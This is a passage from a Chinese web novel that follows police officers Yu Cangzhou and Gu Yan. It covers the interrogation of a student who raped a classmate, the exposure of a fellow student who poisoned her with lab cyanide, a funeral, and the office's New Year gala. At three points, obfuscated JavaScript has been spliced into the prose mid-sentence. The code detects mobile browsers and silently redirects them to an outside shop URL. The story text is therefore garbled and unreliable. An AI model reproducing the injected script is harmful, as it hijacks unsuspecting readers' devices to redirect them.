喻沧州看不下去了,一个大男人,就这点气概,他蓦地站起来,将手里的手机摔在桌上:“陈易阳我告诉你!你人都已经在警局了,我随便从你头上抽根头发拿去和刘妍体内的精|液做个对比,就能知道昨天晚上强|奸刘妍的男生到底是不是你!编,你还想现编!现在回答我,昨天晚上喝完酒你去了哪里?!” “我去了保研路,”陈易阳哇地一声哭出来,“警官,我是借着醉酒做了混账事,但是我真的没有杀她啊,我昨天晚上和她见面完就直接回宿舍睡觉了,我也没想到怎么早上一醒来,刘妍就已经死了。警官你相信我,我真的没有杀她。“ 陈易阳大概是真的太紧张,一个一米八的男生愣是哭得鼻涕都流出来了,喻沧州揉了揉眉头,开口问道:“你去见刘妍,对她进行强制性|交之前,你们都说了些什么?怎么会进行到那一步的?还是说你去见她就是预谋着这一件事的?” “没有,当然没有!”陈易阳紧张地摆着双手,“我昨天晚上不是喝醉了嘛,就想去问她为什么不喜欢我,我到底哪里不好,她不待见我也就算了,为什么非得和李晓东眉来眼去的,结果刘妍说在她看来李晓东比我有担当一万倍,喝醉酒的男人怎么能受得了这种刺激?我昨天晚上喝了很多酒,一冲动就……” 陈易阳一边说着一边抬起头来,在看到喻沧州冷冽的眼神的时候又连忙解释道,“警官我真的不是故意的,我真的没有杀她,我结束的时候她已经一动不……不是,”担心自己哪里说得不对,陈易阳赶忙换了个词,“她已经昏过去了!” “然后你完事了发泄完了就直接自己回寝室了?把人扔在路边也没管?”喻沧州冷冷地反问道。 他此时散发的气息太冷冽,陈易阳几乎不敢说话,喻沧州平复了一下心情,又接着问道:“李晓东又是谁?你和他有过节?” 陈易阳见终于来了一个简单一点的自己能够答的问题,赶忙回答道:“他是我的室友,是一个勤工助学的贫困生。人超级土,我们宿舍的人没有一个人喜欢他。” ”怎么着?你家境好你高贵呗。“喻沧州呛他。 “……”陈易阳又不敢说话了。 喻沧州整理了一下思路,开口问道,“你去的时候刘妍正好就在保研路,你去的时候她在做什么,你怎么知道那个时间点去会碰见她的?” “我去的时候她正好背着背包站在路口,好像在等什么人。”陈易阳细细回想着,“至于为什么会知道她那个时间点会在那里……哦好像有人和我说过这件事。” 喻沧州连忙问道:“是谁?” “是谁来着?” 是谁告诉了他刘妍和李晓东勾搭上了,还告诉她今晚九点半他们会约在保研路然后趁着周末一起去开房?陈易阳细细地回想着。 审讯室外,顾彦拿着材料从办公间里走出来,正在这时,他又看见了走廊不远处的那个男生。 顾彦留意到,那个男生站在那里已经好久了。男生个子不高,很瘦,穿着一件大红色的文化衫,上面印着一家矿泉水公司的logo,看上去像是超市买水随手发的赠品。 顾彦记得,早上他们将刘妍的尸体,郭苌和徐丽丽带回局里后不久,这个男生就来了。他肤色偏黑,眼睛带点内双,看上去是不爱说话的性格。顾彦曾经走到他身边问过他,为什么要站在这里。他自称是刘妍的同学李晓东,如果有什么需要问的问题他可以配合。顾彦就私底下先和他聊了聊,聊完发现并没有什么有用的信息,他原本以为李晓东提供完信息之后就会离开,没想到他还站在这里。 顾彦掂了掂手里的材料,正要向李晓东走过去,正在这时,一对看上去年纪四五十岁的夫妇急匆匆地跑了过来,女人一到身前就紧紧拽住顾彦的手腕问答,“我女儿现在在哪里?我们一接到电话就立马往这边赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471593|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么会发生这种事啊我的妍妍啊……” 顾彦回握住女人的手,礼貌又温和地道:“您是刘妍的母亲对吧?法医正在检验尸体,发生这样的事情我们也很难过,请您节哀。” 女人从接到警方的电话起就开始往这里赶,这一路上她一直觉得这只是一个梦,她的妍妍还好好地活着,还在A大这所高等学府好好地学习生活着,可是此时,这个警察的话好似一颗钉子,突然将她对梦的幻想戳碎,女人顿时颓坐在地上,“妍妍,我的妍妍啊……为什么是妍妍,她那么聪明那么听话,以前我工作忙,没法回家照顾她,她就自己一个人在家下方便面吃,等到我回家了她还安慰我说知道我工作忙让我不要担心,我的妍妍啊,妈妈对不起你,早知道我就应该不要管那什么工作,应该多抽出时间陪陪你的。小伙子,你跟我说实话,到底是谁害了我们家妍妍?” 顾彦上前一把扶住女人的手:“阿姨,我们也还在调查中,最近天气冷了,地上凉,您先起来。” 顾彦一边说着,一边就要将女人扶起来,刘母一边哭着一边靠着顾彦站起来,然而大约是坐在地上的时间太久了,起来得太猛,人有点缺氧,刘母甫一站起来人就直接向后倒了过去。 “阿姨!”顾彦睁大眼睛,情势发生得太紧急,他甚而还来不及抓紧刘母的手,正在这时,一个男孩从身后托住了刘母。 顾彦一看,是李晓东。“阿姨大概是起来得太猛缺氧,就昏过去了。叔叔您好,我是刘妍的同学李晓东,刘妍……帮过我一个忙,我很感激她……我今天一上午都在这里,你们有什么需要帮忙跑腿的可以找我。” 眼看着刘父对李晓东点了点头,顾彦开口问道:“叔叔,您和阿姨早上吃了早饭吗?” 刘父摇摇头:“一大早接到消息就往这边赶,哪里有时间吃早饭。” 顾彦道:“难怪阿姨会贫血,那叔叔你和李晓东先扶阿姨去那边坐会,我去给你们倒杯糖水,有事情的话随时通知你们。” 刘父道:“谢谢你了啊小同志。”一边说着,一边就和李晓东一起扶着刘母往走廊椅子的方向走。 顾彦正要转身去倒糖水,突然看见不远处的地上放着一份文件,那是李晓东刚才站立过的位置。顾彦走过去将文件拾起来,送过去递给李晓东,“这份文件是你的吧?我看见你刚才不小心将文件遗漏在了那里。” 李晓东彼时已经到了椅子边,他将刘母亲亲靠在墙上,这才回过头来看到顾彦手里的文件,“哦,这是我勤工助学需要整理的材料,早上本来打算从寝室带去院里,结果路上听到消息连忙赶过来,就顺带着带过来了。谢谢您啊警察同志。” 李晓东一边说着一边要去接顾彦手里的文件,正在这时,顾彦眼睛一尖突然瞟到了这份文件上的两个名字。 那是一份整理了院内所有工作人员的名单,在每个工作人员的名字后面,还分别标着他们所属的实验室。 顾彦瞟了一眼他好奇的那个名字就“咦”了一声:“苌佩茵,苌这个字好少见的说,居然一天里面见到两次。我上午见到郭苌的名字还专门留意了一下,没想到这会儿就又遇见了,有点巧。” 李晓东却不以为意,接过顾彦手里的名单道,“没什么巧的,郭苌就是她女儿啊。” 顾彦愣了一愣,又在那张名单上看了一眼:“你说什么??” 李晓东:“我说,郭苌就是苌佩茵的女儿啊。” 顾彦闻言顿时低下头,只见在劳务“苌佩茵”的名字后面,赫然写着瞿燕的名字——化院唯二两个保管着氰|化物的实验室之一! 顾彦抬头问道,“实验室的劳务可以拿到保管氰|化物的钥匙吗?” 李晓东:“应该是只要登记就可以吧。” 顾彦直起身,顿时转头望向审讯室! 审讯室内,喻沧州问道:“是谁?到底是谁告诉你那个时间点去保研路就能遇见刘妍的?” 陈易阳低着头凝神思索了一会儿,血液里残余的酒精让他此刻反应速度变得很慢,没过多久,他猛地抬起头来:“哦我想起来了!是郭苌!她对我说刘妍和李晓东最近进展飞快,晚上九点半就要约着一起去开房!” 12. 第十二章 桌上的手机又响了起来,这一次听上去很急切,催魂似的。喻沧州一把接起,来电人是顾彦,“喂队长,目前我们调查的人里面,不只徐丽丽一个人能拿得到氰|化物,郭苌也拿得到!她母亲是瞿燕实验室的管理员!” 喻沧州感觉脑袋里面嗡嗡的,突然就觉得审讯时郭苌对刘妍那掩都掩盖不住的敌意就能说得通了,“郭苌离开局里了吗?让人去把她叫回来!另外,派人去查瞿燕实验室药品管理室的监控录像,从后往前推,看看郭苌有没有出现!” 等到挂了电话,喻沧州猛地扑到陈易阳身前问道,“郭苌什么时候对你说的这些事?” 陈易阳宿醉之后还没完全醒过来,反应有点慢,他思考了一下以后才回答道:“就是昨天中午。” 喻沧州问道:“她俩到底有什么矛盾郭苌要这样毒害刘妍?” 陈易阳:“郭苌一直看刘妍不太顺眼啊。” “不,我不是这个意思。”喻沧州整理了一下思路后对刘易阳道:“一般同学之间看不顺眼这种事,一定早就已经长期存在了。会让郭苌突然做出下毒这个动作,一定是因为她们之间发生了剧烈的争吵,或者是由于某种其他的原因,导致她们之间的矛盾更加激烈了,郭苌才会改变以往的行为模式,决定对刘妍下毒。你再仔细想想,她们俩最近有没有发生过什么大的争执?” 陈易阳梗着脖子想了一会儿,浆糊似的脑袋啥也没想出来,他揉了揉头:“想不起来……大的争执这我哪知道啊,她俩一直王不见王的,我也不是她们室友,这您应该问徐丽丽。” “……”喻沧州拿起手机正要让人去找徐丽丽,突然间陈易阳叫了起来,“哦我想起来了!最近院里有一个去法国交换一年的名额,本来郭苌成绩排名在刘妍前面,郭苌大概以为自己势在必得,但是不知道为什么这个名额却给了刘妍。郭苌为了这件事一直很生气,觉得院里的选拔不公平,为了这事还去找评选的老师理论来着!” 喻沧州:“这是什么时候的事?” 陈易阳:“就在上个星期!” 天气渐渐凉起来了,几场秋雨过后,便是要入冬的节奏。早上才见过一面的郭苌走进审讯室,因为起风,外面套了一件灰色的针织外套,人看上去更柔和,眼神却是锐利到近乎偏执了。 喻沧州从审讯桌边站起来,“郭苌同学,我们又见面了。坐。” 郭苌走到他对面慢慢坐下,喻沧州问道:“知道我们为什么把你叫回来么?” 郭苌却反问:“怎么查出来的?” 喻沧州:“一开始没有怀疑到你身上,是因为查过你所在的实验室,并不能接触到氰|化钠,不构成作案条件。但是陈易阳的叙述以及你的母亲是瞿燕实验室的管理员这两件事,就一下子让你作案动机和作案条件都具备了。据说实验室里保管氰|化钠的物柜都是双锁柜,需要两个管理员分别拥有的两把钥匙才能同时打开。我猜,你一定是偷了你母亲的要是,又用某种方法骗到了另一个管理员的钥匙,才拿到了氰|化钠。郭苌,你去取氰|化钠之前确保了监控还工作着吗?” “没有,”郭苌低下头,人有些丧气,“监控的确就是我能力范围之外的事情了。我一开始想的是,如果你们根本就不会怀疑到我的话,你们就不可能想得到去查监控。” 喻沧州:“所以你承认是你对刘妍下了毒,并诱使陈易阳对刘妍发生了强制性性行为咯?你还有什么想说的?” “诱使哈哈,警察叔叔你可真会说话,陈易阳他自己蠢管我什么事?刘妍……刘妍也是一个虚伪得要死的人,当着所有人的面装出一副好好脾气的样子,我去找她理论凭什么她年级排名没我靠前还被选中了交换的名额,她居然对我说人弱就要服输!说我弱,她难道就很强吗?评选老师给出的‘因为她英语好才选她’的理由我一个字都不信,说是看她长得漂亮倒还有可能!” 郭苌太过理直气壮,喻沧州突然觉得这种对事情的认知方式实在有些荒谬,喻沧州说道:“郭苌,你自己扪心自问一下,一个人如果要漂洋过海去异国他乡生活,语言是不是能保证她在异国他乡落地生活的基本关?在你们专业能力相差不多的情况下,评选老师用英语来卡你们,为什么不合理?你或许是为了发泄,或许是觉得毒死了刘妍,你自己就能顶上那个名额,但是现在,你自己的前途在哪里?” 就这样,A大化院的投毒案随着郭苌的承认渐渐落下帷幕。刘妍的父母悲痛欲绝,但也只能渐渐接受这个事实。刘妍的尸体被领了回去,葬礼被安排在了当月的最后一天。 葬礼那天正好是个雨天,天上飘着菲薄的小雨,李晓东和院里的几个学生办公室的老师一起去到殡仪馆。殡仪馆内,刘妍的棺材被摆在大厅的正中间,她的仪容已经被整理过,身体周围围着一圈彩色的花,神情看上去平静又安详。 仪式渐渐开始,李晓东随着排队的人流跟在学生办公室的老师身后去和她说告别,走到棺材前时,他抬起头仔细望着她,思绪渐渐回到了他第一次开始留意到她的那一天。 陈易阳说他和刘妍勾搭在了一起,其实那根本连勾搭都算不上,他只是碰巧留意到了她每天会去图书馆自习的时间,有时候去得晚了会占不到座位,而他正好在图书馆打工,顺手帮她占个座不过是举手之劳的事情,就那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471594|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮她做了。 而这一切的缘由都始于那个樱花开放的春天。 那一天,因为学校里举办樱花节,坐落在樱花大道上的自然博物馆也开放了,化院的同学被叫去充当讲解志愿者,他也被学生办公室的老师拉去了。 自然博物馆樱花节期间一共开放两天,每个志愿者讲解两小时签完到以后就可自行离开。那天他讲解完了下楼正准备离开,突然被学生会一个特别自来熟的同学给拉住:“唉李晓东,你过来一下,我这会得去寝室拿个东西,你能不能帮我看着会签到桌……拜托拜托,谢谢你了啊。” 说完,那个同学就急匆匆地跑了,他只能留下来守着签到桌。 那次的自然博物馆讲解活动是学生会举办的,志愿者负责讲解,学生会的同学负责签到。所以,他才在签到桌边等了一会儿,就看见了刘妍。彼时刘妍正在和另外一个女同学讨论订午饭盒饭的事情,另外一个女同学说:“我们一共订十份饭对吧,总共有十个人。” 听上去像是在给学生会的同学订饭——很明显,志愿者们是不包饭的,刘妍一边下楼一边点头:“对。”一抬头望见了他,又突然叫住了那个女同学,“唉,多订一份吧,订十一份,我有点饿,反正院里给报销。” 那天那个自来熟的同学也不知道回寝室拿了什么东西,过了好久也不回来,等到他回来的时候,李晓东已经饿着肚子在心里算好了这个月的剩余可支配现金,盘算着待会午饭干脆就去食堂吃两个包子好了。他和他交接完以后,就径直往博物馆外面走,正在这时候,一个轻柔的声音叫住了他,“唉同学。” 他回过头,那个轻柔的声音是刘妍,“唉同学,我们刚才一不小心多订了一份饭,没地儿解决,你能不能帮我们吃掉它?” 李晓东怔怔地,刘妍见他愣住也不多说什么,走过来一把将盒饭往他手里一塞,脸上露出一个明丽的笑容,“讲解了一上午一定累了吧,盒饭带回去吃吧。” 李晓东家里很困难,父亲早逝,母亲是种地的,大一才开学他就找到学生办公室的老师,想问一下院里有没有勤工助学的项目,他很需要,从此以后他就经常去学生办公室给老师帮忙,院里按小时给他发工资。大学里大家都各过各的,其实没有太多人知道他在勤工助学,但他平时在学生办公室给老师帮忙的时候,刘妍因为学生会的关系常常会路过学生办公室,就看到了他。所以,她一定是知道他家里的状况的。 而此时,李晓东望着刘妍的面容,好似至今还能感受到那天拿到手里还散发着温热的盒饭。 他其实一直没有告诉过她,那一个瞬间,他曾经想过要娶她。 13. 第十三章 天眨眼之间就凉下来了。 每年到了十一月末的时候,是一年之中温度降得最快的时候,好像前几天还穿着T恤套个外套就能出门招摇过市,不过几场秋雨几次起风,人就不得不对冷空气彻底服输,乖乖从衣柜里找出去年过冬的毛衣和秋裤麻利套上来抵御寒冬。 一转眼顾彦已经住进喻沧州家快一个月,喻沧州的心态从最开始的“不过就是多了一个室友”慢慢变化到“这室友干起活来好像还挺靠谱”再到“虽然新室友做的菜式我都没有吃过但是为什么无论他做什么都很好吃”,不知不觉中已经彻底习惯了顾彦作为新室友的存在。 天气寒冷的时候,他从超市里买回两包辛拉面,虾干和金针菇一起下了,面条快要捞上来之前往里扔一片cheese再打个鸡蛋,在一阵浓浓的芝士香味中咬开还是液体的鸡蛋,心里腾起一种俗世的幸福。 下雨天的时候,两个人吃完午饭各自回房间去睡个午觉,醒来正对着空白的墙壁发呆,他突然敲了门进来,递过来一杯香蕉牛油果牛奶,顺滑绵密的口感搭配窗外敲打有序的雨声,一向文艺细胞都被狗吃了的喻沧州突然也能附庸文雅一下感受一下古人“闲窗听雨”的意境。 再冷一些的时候,即使抗冻如喻沧州,人从外面进到屋里的那一刻也还是会忍不住跺着脚打着哆嗦,他突然走过来说今天买了火锅底料,肉片山药粉丝豆腐泡热热闹闹地下了一锅,一人手握一听啤酒,咬着刚刚从锅里出炉的玉米馒头,喻沧州突然就能理解为什么网友们会把“一个人吃火锅”这种事列为孤独指数五颗星,因为两个人吃火锅实在是窝心许多,好似连家里普通如常的氛围都变得温馨起来。 因为顾彦介入他的生活的方式不仅算不上突兀,还让人觉得异常舒心,喻沧州几乎连“适应时间”都不需要就迅速接受了这样一个室友的存在。 当然,两个人也有生活方式不一致的地方。比如,顾彦喜欢在健身房里健身,而喻沧州则更喜欢在小区里跑步逗狗(撩大妈嫌)。顾彦每天早上一到六点半就准时起床健身,而早上六点半以后正好是喻沧州的黄金睡觉时间——按照他的理论,越接近起床时间的时间,越是睡觉的黄金时间。顾彦看见散落在沙发上的衣物就喜欢顺手叠起来,这一习惯使得喻沧州随手扔衣物的习惯变得不再那么的“自然舒适”……这些都是两个人相处之中需要磨合的地方,不过因为有了前面那些优点,喻沧州非常大度地忽略掉了这些两个人生活方式上的相异之处。 这天喻沧州和顾彦一起悠哉悠哉地出了门,溜达了一圈到了局里,却没有第一时间往自己办公室里走。 “你先去办公室,我还有点事,待会再回。”临进楼前,喻沧州吩咐顾彦道。顾彦点点头,没有多问什么就径直往办公室的方向去了。喻沧州则在进了局里大门以后,脚步拐了个弯,就去到了关鸿杰的办公室。 关鸿杰是局里负责数据库管理这一块的,平日里如果有失踪案件的报案,不管有没有立案,关鸿杰都会把失踪人员的信息输入到失踪人员库,然后全省乃至全国公安机关会进行比对,方便找到失踪人员。此时喻沧州去到关鸿杰的办公室,还没进去先懒懒地敲了敲个门。 关鸿杰是个四十多岁的老警员了,少年白,明明还没到年纪,头发已经大片大片的黄色了。喻沧州敲门时,关鸿杰正一头埋在电脑前不知道在打些什么,头也不抬地道:“进来。” 喻沧州走进去道:“老关。” 关鸿杰一抬头看见喻沧州:“哟沧州,是你啊,又来问那个孩子的下落了?” “嗯。”喻沧州懒懒地应了一声。 “老地方,”关鸿杰朝办公室里的另一台台式机努了努嘴,“用那台电脑自己搜。” 喻沧州道:“多谢了。” 关鸿杰摆手一笑:“嗨,跟我客气什么。” 喻沧州走到关鸿杰示意的台式机前坐下,登入账号,进入数据库。关鸿杰埋头打了一会儿字,不知想到什么,又抬起头来说道,“你说你也是的,这都多少年了,还在找那个孩子。平均每半年来一次,来了就要看失踪案件的立案,你怎么不想想,既然你找了这么久了也找不到,说不定那孩子早都已经不在了呢。” “那也得找啊,”喻沧州点着手下的鼠标,一边正色盯着眼前的屏幕一边回应道,“谁叫人是在我手上丢的呢?父母都不在了,既然落到了我手里,我就得对他负责。” 喻沧州找了一会儿,没有发现自己想要的信息,就退出账号锁了屏。 关鸿杰眼见喻沧州站了起来:“找完了?没有找到?” 喻沧州点点头:“嗯。” 关鸿杰闻言笑了起来,他一笑,眼角就有些温和的皱纹,笑容里有慨叹的意思,“你说说你,姓名年龄一个不知道,没有照片,就知道一个以前的住址和性别,大致记得长相,这找起来还不是大海捞针啊?有可能去到了别的城市被人捡到领养了,也有可能早都已经不在这世上了,都有可能。不过无论是哪种可能,你要找到都不会太轻易,沧州,听我一句劝,别浪费时间在这个案子上了。” “时间么,怎么过不都是要流逝的,哪里有浪费一说。”喻沧州勾唇一笑,“老关,谢了,我们下次见。” 喻沧州说完,就转身往外走去,只留下关鸿杰在电脑前似是无可奈何地摇了摇头。喻沧州出了门,就往办公室的方向走,临回到办公室还有几步路,正好看见苏小小风风火火地从办公室走出来。这段时间因为没啥案子,大家的工作内容基本就是整理旧案子的材料还有一些配合上面的行政工作,眼见苏小小走路跟生风一样,喻沧州一把拦住了她:“去哪里?” “去章姐办公室。”苏小小停了下来,她其实也才入职两年,业务上虽然熟悉了,但心态上仍旧是新人的样子,此时,她的眼里放着光,一张藏不住啥信息的脸上透着不可抑制的激动,“喻队,听说了吗?今年局里不知道受了什么刺激,想让大家放松放松,说是要给大家整个新年晚会。” 喻沧州闻言竟然一时之间没有反应过来,他皱了皱眉,两道浓浓的剑眉通过眉心的皱纹连成一道,开口道,“什么鬼?” “新年晚会。”苏小小向他确认,“是不是不敢相信?我也不敢相信来着,但是章姐的邮件都下来了,说是让每个办公室给准备个节目,到时候要上台表演。” 苏小小说到这里突然有些发愁,“唉你说咱办公室能出个啥啊,这一群群不是高冷就是歪瓜裂……看上去也都不带啥才艺的,哦我不是那个意思喻队你别这么看着我……聊正事聊正事,你说说看,我们办公室出个啥节目?” “不知道。”喻沧州插着兜事不关己神色冷漠道,“反正没我的事,你们几个小年轻拾掇去吧。随便整个就行了,不用担心给我丢脸,我没有那种东西。” 喻“不要脸”大言不惭地发了话,苏小小突然觉得这不要脸的男人一点也不能理解自己紧张中带着激动、激动着又带着浓浓的责任感的心情,跟他说话简直就是对牛弹琴。苏小小做了个无语的表情,抱着笔记本就要离开,临行前突然想起什么,又刹住脚步:“哦对了,喻队,顾彦那小孩快过生日了,你知道吗?” 喻沧州原本还沉浸在“新年晚会汇演节目”这种无聊的话题氛围里,浑身上下都透露着冷漠,听到这句遽然抬起头来:“什么时候?” “就在新年晚会后一天,1月23号,”苏小小道,“那天不上班,如果打算过的话,肯定不能在办公室过,我捉摸着要是没事的话,要不要把大家拉出来一起吃个饭吃点生日蛋糕啥的,最重要的,你是人家队长兼室友,你肯定不能没有啥表示吧,毕竟人家刚来队里,你得让人家感受到点队里的温暖。” 喻沧州点点头:“行,我知道了。” 喻沧州回到办公室,路过顾彦的办公桌旁边的时候,顾彦正拿着笔在一个笔记本上不知道写着什么。喻沧州没有刻意停顿,回到自己的办公桌前。 苏小小刚刚在走廊上和他提了一嘴顾彦生日的事情,喻沧州突然就想到那天在A大遇见的顾彦的父亲,顾彦的父亲穿得破破烂烂向他要钱,顾彦却说自己不认识他。 这种事换个人来看或许会觉得顾彦没有良心,不过此时旁观的人是喻沧州,他干刑侦干多了,见多了丧心病狂的父母,反而没有那种“生而为人一定要原谅父母的不完美”的圣母心。人心都是肉长的,自己的心里会有一把秤,谁对你好谁对你不好,是自己的感受说了算。喻沧州想着那天顾彦对他父亲的冷淡,所以顾彦是和母亲一起长大的吗? 喻沧州发现自己思维又联想到十二年前的那个小孩了,那天早上,他原本是要将小孩送回麻纺厂去的,但谁知中途接了个电话家里发生了那样的事,他只好带着小孩一起奔赴现场……等到他忙完了家里的事,收拾好心情依稀想起自己身边还应该有个小孩子的时候,小孩子早都已经不知道去哪了。 他后来去麻纺厂找过小孩的父亲,结果因为时间隔得太远,小孩的父亲也搬走不知所踪了,据院子里的人说,孩子没有找回来……知道小孩走丢的当时,喻沧州想到小孩身上的青痕,不知道他到底是回了家好还是没有回好…… 办公室内,喻沧州意识到自己由顾彦联想到小孩,摇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471595|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,他是把对当初那个小孩走失的愧疚和挂念移情到了顾彦身上吗?这可不好。 下了班,喻沧州骗顾彦说自己还有点事让他先回家,自己则偷偷去到了家附近的乌溪超市。乌溪超市是一家说大也不大,说小也不小的超市,说它大吧,它又确实不能和销品茂那种大商城比,说它小吧,它又有三层楼。 乌溪超市一贯装扮得很喜庆,站在装扮的红红火火的超市里,四周都是提着钱袋下午待家里没事所以来超市逛一逛的老太太,喻沧州有一瞬间不知道自己为什么在这里。 拨了拨头上的几缕头发,喻沧州转身大步流星地往超市门口走,临走到超市门口又顿住。想转身回超市,也想直接迈步离开,究竟是送还是不送顾彦生日礼物,这实在是一个问题。 “唉算了,还是送吧。” 纠结良久,喻沧州还是转身回了乌溪超市。十分钟以后,他提着一个购物袋从乌溪超市里出来了。 走在回家的路上,老实说,喻沧州觉得自己提着一个即将送给顾彦的礼物还是有点傻叉的。 假如顾彦只是他的新入职的一个队友,那么他送他生日礼物无可厚非,无非就是作为队友的身份关心一下队友,可是他俩偏偏又住在一起,在这种情况下,送生日礼物莫名就多出了一份亲密的感觉。喻沧州惯来不是会做出这种举动的人,但他也说不清为什么,知道了顾彦的父亲的事情以后,他就忍不住想对他好一点。 “啊算了,不纠结了,直接送,今天回家就送,纠结个屁!” 楼下,喻沧州给自己打足了气就大步流星地上楼。开门进了屋,顾彦已经先到家了,厨房里有抽油烟机的声音,顾彦围着个围裙手里拿着锅铲从厨房里出来,看到刚刚进门的喻沧州和他手里提着的带着“乌溪超市”的购物袋,微微一笑道:“你去了乌溪超市啊,买的什么?” 喻沧州看着顾彦干净的眼睛,顾彦今天穿着一件墨绿色菱格纹的毛衣,人显得特别斯文,喻沧州想了想购物袋里的浓浓土味的黑色羽绒服,心里一怂,突然就没了在楼下的气势。 “没什么,超市买了套被子,半夜觉得冷。”喻沧州随口敷衍道。 顾彦闻言脸上露出狐疑的神色,但狐疑也只是转瞬即逝,随后顾彦就拿着锅铲又回到厨房里去了,喻沧州看着顾彦穿着围裙往厨房走的画面莫名觉得这场景有些贤妻良母,但想到他是男的,又觉得好像有哪里不对,低头又看到自己手里的购物袋,没忍住骂了自己一句。 “有什么不对的是你自己吧,叫你买,买买买,买了又不好意思送!” 局里要举办新年晚会,喻沧州说是不参加,然而苏小小愣是给他报了个团体诗朗诵的名,喻沧州在办公室里凶神恶煞地截住苏小小,问他怎么居然还有节目。 苏小小居然理直气壮的:“名不是我给报的,是章姐给报的。局里难得办一年新年晚会,这种时候喻队你需要拿出集体荣誉感来,我们办公室的节目可以不从你这里出,但是局里团体诗朗诵是个大节目,你必须得参与一下。” 喻沧州冷笑道:“敢情把锅推给章姐就对了。” 苏小小:“不信你去问章姐!” 喻沧州原本以为诗朗诵什么的,他这种个高的排后排随便照着诗稿对个嘴型就完事了,没想到训练他们诗朗诵的老师特地把喻沧州挑出来,和另一个男同事、两个女同事组成了领读小组,喻沧州眼前一黑,当场就要推脱,“不不不,老师,这我不适合,您看我念得这么差,您还是把我放在后排,让我跟着对个嘴型凑个人数吧。” 带领他们训练诗朗诵的老师是个快六十多岁的老太太,性格有些严厉,精气神特别足,听见喻沧州推脱的当时,她脸色一冷,当场就教训了起来喻沧州,“你这个小伙子怎么这么没有上进心,让你来领读是看重你,觉得你合适。你既然觉得自己念得差,你就应该勤加练习,早日达到优秀的水平,文征明九十岁的时候还孜孜不倦练习书法,莫奈得了眼疾以后还把自己关在画室里日日练习,你一个正值壮年的小伙子,是缺胳膊还是少腿了,这么没有上进心?” 老太太教训喻沧州的时候,训练室里面还各种人和人说话的声音,等到老太太教训完了,训练室里安静得落针可闻。几十号人一起看着刑侦大队的喻沧州被老太太训的臊眉耷眼的。 于是乎,就这样,喻沧州不仅在新年晚会中准备了一个节目,还阴差阳错的成为了领读。 因为是领读,需要更多的时间单独训练,喻沧州每日下班以后就马不停蹄地往训练室赶,时间蹭蹭蹭过得飞快。 新年晚会很快就到了。 14. 第十四章 新年晚会被定在了新年假期前的最后一个周五。 周五那天,所有晚会参与人员在下午两点的时候就被叫到晚会场地去走过场,喻沧州的节目被排在了中靠后的一个顺序,所有人懒散地坐在座位席上等着前面的节目先彩排,喻沧州就一个人对着朗诵稿大眼瞪小眼。等到快临到喻沧州的节目的时候,指导老师从台上下来,将大家集结到室外,让大家现场又表演了一遍,又吩咐了一下待会在舞台上的走位,众人这才乌泱泱地往后台走。 彩排的时候音乐的音量有点大,盖过了一众领读的声音,指导老师吩咐音效把音乐的音量调小一点,又给了喻沧州一个示意,喻沧州这才开始念出第一句话来…… 彩排规定所有演员即使彩排结束也不能立即离开,因为要等着所有演员谢幕,等到整场彩排结束的时候五点都已经过了,指导老师又叮嘱了一些事情,众人这才如鸟兽状散去各自去吃饭。 吃完饭回来就是化妆时间,局里租的场地在后台附近有一个小房间,众人就窝在这个小房间里各自化妆。喻沧州长这么大从来没有化过妆,化妆老师抓住他要给他画的时候他还不乐意,各种不情愿,被指导老师老太太吼了一句以后,无从反抗,只能像小朋友一样乖乖坐在座位上让化妆老师化妆。 而就在这化妆的空档,化妆室的门口突然飞进来一个女人,她的身后还跟着一个气质文静的男人。苏小小眼睛很尖,因为表演节目的关系,化妆室里到处都是穿得一模一样的人,喻沧州还坐在一个特别角落的位置被化妆,就这,她也瞟了一眼就立刻发现了他。 “喻队,你在这里!”苏小小转头冲顾彦招招手,“顾彦,在这里,快过来,快点跟上。” 苏小小东窜西窜地往化妆室里挤,等到好不容易挤到了喻沧州身前,她一看到喻沧州的打扮就扑哧一声笑了出来:“白衬衫配西裤,喻队,你人生穿得这么正式的时候总共也没几次吧?” “笑屁,不准笑。跑来看我化妆,这么闲你……”喻沧州还打算多说几句,化妆师正好扫粉饼扫到了他的人中区,“闭上嘴巴。”于是喻沧州只好乖乖闭了嘴。 苏小小笑得就差没昏过去,她顺着化妆师的一堆化妆品看到了桌上的文件夹,喻沧州看见她的视线心中暗道不好正要去拿,苏小小已经抢先一步将文件夹提溜了过去。她打开文件夹,看到诗词的第一句,自言自语一样地念出来:“啊,我亲爱的祖国母亲,我多么热爱你。”意识到这是喻沧州待会要念的诗词,脸上满是揶揄,她朝着喻沧州晃了晃手里的文件夹,“喻队,这是你待会要念的诗词?听说你还是个领读,念两句来给我听听。” 